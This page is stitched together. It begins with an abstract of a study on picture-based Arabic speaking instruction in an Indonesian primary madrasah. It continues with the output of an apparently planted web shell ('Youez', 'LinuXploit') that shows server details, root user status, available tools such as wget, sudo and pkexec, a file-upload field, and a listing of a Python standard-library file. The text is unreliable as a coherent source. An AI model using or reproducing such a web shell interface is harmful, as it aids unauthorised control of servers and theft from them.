Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 3.16.69.243 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3.9/ |
Upload File : |
"""Shared AIX support functions."""
import sys
import sysconfig
try:
import subprocess
except ImportError: # pragma: no cover
# _aix_support is used in distutils by setup.py to build C extensions,
# before subprocess dependencies like _posixsubprocess are available.
import _bootsubprocess as subprocess
def _aix_tag(vrtl, bd):
# type: (List[int], int) -> str
# Infer the ABI bitwidth from maxsize (assuming 64 bit as the default)
_sz = 32 if sys.maxsize == (2**31-1) else 64
# vrtl[version, release, technology_level]
return "aix-{:1x}{:1d}{:02d}-{:04d}-{}".format(vrtl[0], vrtl[1], vrtl[2], bd, _sz)
# extract version, release and technology level from a VRMF string
def _aix_vrtl(vrmf):
# type: (str) -> List[int]
v, r, tl = vrmf.split(".")[:3]
return [int(v[-1]), int(r), int(tl)]
def _aix_bosmp64():
# type: () -> Tuple[str, int]
"""
Return a Tuple[str, int] e.g., ['7.1.4.34', 1806]
The fileset bos.mp64 is the AIX kernel. It's VRMF and builddate
reflect the current ABI levels of the runtime environment.
"""
# We expect all AIX systems to have lslpp installed in this location
out = subprocess.check_output(["/usr/bin/lslpp", "-Lqc", "bos.mp64"])
out = out.decode("utf-8")
out = out.strip().split(":") # type: ignore
# Use str() and int() to help mypy see types
return (str(out[2]), int(out[-1]))
def aix_platform():
# type: () -> str
"""
AIX filesets are identified by four decimal values: V.R.M.F.
V (version) and R (release) can be retreived using ``uname``
Since 2007, starting with AIX 5.3 TL7, the M value has been
included with the fileset bos.mp64 and represents the Technology
Level (TL) of AIX. The F (Fix) value also increases, but is not
relevant for comparing releases and binary compatibility.
For binary compatibility the so-called builddate is needed.
Again, the builddate of an AIX release is associated with bos.mp64.
AIX ABI compatibility is described as guaranteed at: https://www.ibm.com/\
support/knowledgecenter/en/ssw_aix_72/install/binary_compatability.html
For pep425 purposes the AIX platform tag becomes:
"aix-{:1x}{:1d}{:02d}-{:04d}-{}".format(v, r, tl, builddate, bitsize)
e.g., "aix-6107-1415-32" for AIX 6.1 TL7 bd 1415, 32-bit
and, "aix-6107-1415-64" for AIX 6.1 TL7 bd 1415, 64-bit
"""
vrmf, bd = _aix_bosmp64()
return _aix_tag(_aix_vrtl(vrmf), bd)
# extract vrtl from the BUILD_GNU_TYPE as an int
def _aix_bgt():
# type: () -> List[int]
gnu_type = sysconfig.get_config_var("BUILD_GNU_TYPE")
if not gnu_type:
raise ValueError("BUILD_GNU_TYPE is not defined")
return _aix_vrtl(vrmf=gnu_type)
def aix_buildtag():
# type: () -> str
"""
Return the platform_tag of the system Python was built on.
"""
# AIX_BUILDDATE is defined by configure with:
# lslpp -Lcq bos.mp64 | awk -F: '{ print $NF }'
build_date = sysconfig.get_config_var("AIX_BUILDDATE")
try:
build_date = int(build_date)
except (ValueError, TypeError):
raise ValueError(f"AIX_BUILDDATE is not defined or invalid: "
f"{build_date!r}")
return _aix_tag(_aix_bgt(), build_date)
Youez - 2016 - github.com/yon3zu
LinuXploit